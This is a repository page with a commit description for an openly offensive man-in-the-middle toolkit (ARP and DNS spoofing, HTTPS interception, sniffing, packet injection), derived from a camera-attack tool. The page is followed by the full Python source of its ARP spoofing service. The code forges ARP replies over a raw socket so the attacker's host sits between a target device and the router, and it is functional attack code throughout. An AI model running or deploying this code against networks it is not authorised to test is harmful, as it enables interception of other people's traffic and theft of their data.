Templated from cam-mitm. The camera-specific code (UBox cloud client, CVE verifiers, OAM HMAC signing, fuzzer wordlists) is removed; what's left is the generic core: ARP spoof, DNS spoof, HTTP/HTTPS interception with peek-before-wrap, raw sniffer with conntrack-based original-dst lookup, protocol fingerprinting, intruder detection, packet injection, log rotation, PyQt6 GUI on top of a service Controller. All 'camera' references renamed to 'target' throughout. Configuration moved into ~/.config/setec-mitm/config.json with the Settings tab as the primary editor. Plugin system at targets/<name>/plugin.py for vendor-specific code. See README.md for full setup, plugin authoring, and troubleshooting. Co-authored by Setec Labs.
90 lines
2.5 KiB
Python
90 lines
2.5 KiB
Python
"""ARP spoofing service — positions us as MITM between target and router"""
|
|
|
|
import socket
|
|
import struct
|
|
import os
|
|
import time
|
|
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO
|
|
|
|
|
|
def get_mac(ip):
|
|
try:
|
|
out = os.popen(f"ip neigh show {ip}").read()
|
|
for line in out.strip().split("\n"):
|
|
parts = line.split()
|
|
if "lladdr" in parts:
|
|
return parts[parts.index("lladdr") + 1]
|
|
except:
|
|
pass
|
|
return None
|
|
|
|
|
|
def build_arp_reply(src_mac_str, dst_mac_str, src_ip, dst_ip):
|
|
src_mac = bytes.fromhex(src_mac_str.replace(":", ""))
|
|
dst_mac = bytes.fromhex(dst_mac_str.replace(":", ""))
|
|
eth = dst_mac + src_mac + b"\x08\x06"
|
|
arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2)
|
|
arp += src_mac + socket.inet_aton(src_ip)
|
|
arp += dst_mac + socket.inet_aton(dst_ip)
|
|
return eth + arp
|
|
|
|
|
|
def run(cfg, flags, running_check):
|
|
iface = cfg["iface"]
|
|
target_ip = cfg["target_ip"]
|
|
router_ip = cfg["router_ip"]
|
|
|
|
try:
|
|
with open(f"/sys/class/net/{iface}/address") as f:
|
|
our_mac = f.read().strip()
|
|
except:
|
|
log("ARP: cannot read our MAC", C_ERROR)
|
|
return
|
|
|
|
os.system(f"ping -c 1 -W 1 {router_ip} >/dev/null 2>&1")
|
|
os.system(f"ping -c 1 -W 1 {target_ip} >/dev/null 2>&1")
|
|
time.sleep(1)
|
|
|
|
router_mac = get_mac(router_ip)
|
|
target_mac = get_mac(target_ip) or cfg["target_mac"]
|
|
|
|
if not router_mac:
|
|
log(f"ARP: cannot find router MAC for {router_ip}", C_ERROR)
|
|
return
|
|
|
|
log(f"ARP: us={our_mac} router={router_mac} target={target_mac}", C_SUCCESS)
|
|
|
|
try:
|
|
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
|
|
sock.bind((iface, 0))
|
|
except PermissionError:
|
|
log("ARP: need root for raw sockets", C_ERROR)
|
|
return
|
|
|
|
flags["arp"] = True
|
|
pkt_to_cam = build_arp_reply(our_mac, target_mac, router_ip, target_ip)
|
|
pkt_to_rtr = build_arp_reply(our_mac, router_mac, target_ip, router_ip)
|
|
|
|
while running_check():
|
|
try:
|
|
sock.send(pkt_to_cam)
|
|
sock.send(pkt_to_rtr)
|
|
except:
|
|
pass
|
|
time.sleep(2)
|
|
|
|
# Restore
|
|
log("ARP: restoring...", C_INFO)
|
|
r1 = build_arp_reply(router_mac, target_mac, router_ip, target_ip)
|
|
r2 = build_arp_reply(target_mac, router_mac, target_ip, router_ip)
|
|
for _ in range(5):
|
|
try:
|
|
sock.send(r1)
|
|
sock.send(r2)
|
|
except:
|
|
pass
|
|
time.sleep(0.3)
|
|
sock.close()
|
|
flags["arp"] = False
|
|
log("ARP: restored", C_INFO)
|